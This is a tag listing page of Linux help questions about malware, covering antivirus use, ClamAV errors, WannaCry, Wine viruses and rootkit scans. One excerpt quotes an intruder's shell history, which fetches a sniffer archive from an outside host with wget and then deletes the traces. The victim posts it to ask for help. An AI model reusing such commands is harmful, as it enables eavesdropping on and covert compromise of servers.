Questions relating to malicious software
Questions tagged [malware]
450 questions
239
votes
24 answers
Do I need to have antivirus software installed?
I thought that there was no need to scan for viruses either in Ubuntu or any Linux distros until I found virus scanner packages clamtk and klamav in Ubuntu software center yesterday.
This leads to the following questions:
How do viruses differ…
Vinay
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217
votes
2 answers
How do I scan for viruses with ClamAV?
I installed ClamAV via Terminal (Ctrl+Alt+T) with:
sudo apt-get install clamav
but how can I scan for viruses?
BuZZ-dEE
- 13,993
- 18
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98
votes
5 answers
clamav - ERROR: /var/log/clamav/freshclam.log is locked by another process?
I have installed clamav and I want to to update the files that it uses to identify viruses:
$ sudo freshclam
ERROR: /var/log/clamav/freshclam.log is locked by another process
ERROR: Problem with internal logger (UpdateLogFile =…
Run
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68
votes
1 answer
Notification saying "A new Virus is Stealing Data!" on Ubuntu 18
Recently whenever I open Firefox I get a message in notification center. It's not always the same and it keeps changing. here is an example:
It's not always this. It gives other messages too and when I click it it sends me to phishing sites. I…
Anne Webster
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64
votes
4 answers
What is the "Wanna Cry" ransomware's possible impact on Linux users?
It's just come to light that there's a $300 ransom you have to pay because ransomware targeting Microsoft Windows has encrypted your data. What steps do Linux users need to protect from this if for example they are using wine?
This ransomware is…
WinEunuuchs2Unix
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59
votes
7 answers
How do I clear everything (data, viruses) from a thumbdrive?
Say I used some thumbdrive on a public Windows computer and I copy some data to my Ubuntu computer with it. I cannot be completely sure that the Windows computer was clean, and it might have put something onto my thumbdrive. Is there a way to erase…
Martin Ueding
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52
votes
11 answers
Can a Windows virus transfer to Ubuntu?
Before I removed Windows 7 from my computer and replaced it with Ubuntu, I had over 257 threats that never would go away. I don't know if the trojan horse I had also could transfer over to Ubuntu. Can my computer be infected? I'm trying to be very…
Morgan
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45
votes
3 answers
Do Wine Viruses only work while Wine is running?
I heard Linux can get viruses through Wine,and I was curious if the viruses work only while Wine is running.
In other words, could I stop a virus from doing it's thing by just quitting Wine?
Louis Jovanovich
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36
votes
4 answers
Some suspicious software making request to nmcheck.gnome.org
In the last few days, my system has started popping up an Ubuntu default web-browser and making a request to nmcheck.gnome.org website and immediately shutting off.
Since this happened, I cannot run system updates.
Also, I am a php developer and…
Rushabh Joshi
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25
votes
2 answers
Why has the "Ubuntu app" full access to my Google account?
The same (or similar) topic was already covered on Ask Ubuntu some time ago:
Ubuntu 17.04 Chromium Browser quietly provides full access to Google account
I just performed a new clean installation of Ubuntu 16.04. To my surprise, the "Ubuntu app" was…
Energeiai
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25
votes
4 answers
chkrootkit shows "tcpd" as INFECTED. Is it a false positive?
Scan by chkrootkit shows "tcpd" as being INFECTED.
Although a scan by rkhunter shows ok,(except for regular false positives)
Shall I be worried?
(I'm on Ubuntu 16.10 with 4.8.0-37-generic)
user633620
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25
votes
5 answers
Can windows viruses affect my encrypted linux partition on the same disk?
Can Windows viruses affect my encrypted Linux partition on the same disk? I just want to use Windows but I am concerned.
anon
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25
votes
1 answer
Windows Defender reports Win64/Longage Trojan malware in Ubuntu 18.04.3 live server
Windows Defender 8 Dec 2019 reports Win64/Longage severe Trojan malware in Ubuntu 18.04.3 live server, file:…
Harvey
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- 5
24
votes
6 answers
crond64/tsm virus in Ubuntu
Recently I noticed my home server to get painfully slow. All the resources were eaten up by two processes: crond64 and tsm. Even though I repeatedly killed them, they kept showing up again and again.
At the same time, my ISP was notifying me about…
erik
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24
votes
2 answers
Found SSH Backdoor on VServer. What to do?
Yesterday I checked my history of commands on my VServer. I found several suspicious lines.
195 wget aridan.hol.es/sniffer.tgz
196 tar xvf sniffer.tgz
197 ls -a
198 rm -rf sniffer.tgz
199 rm -rf .sniff/
200 cd /dev/shm
201 ls…
itskajo
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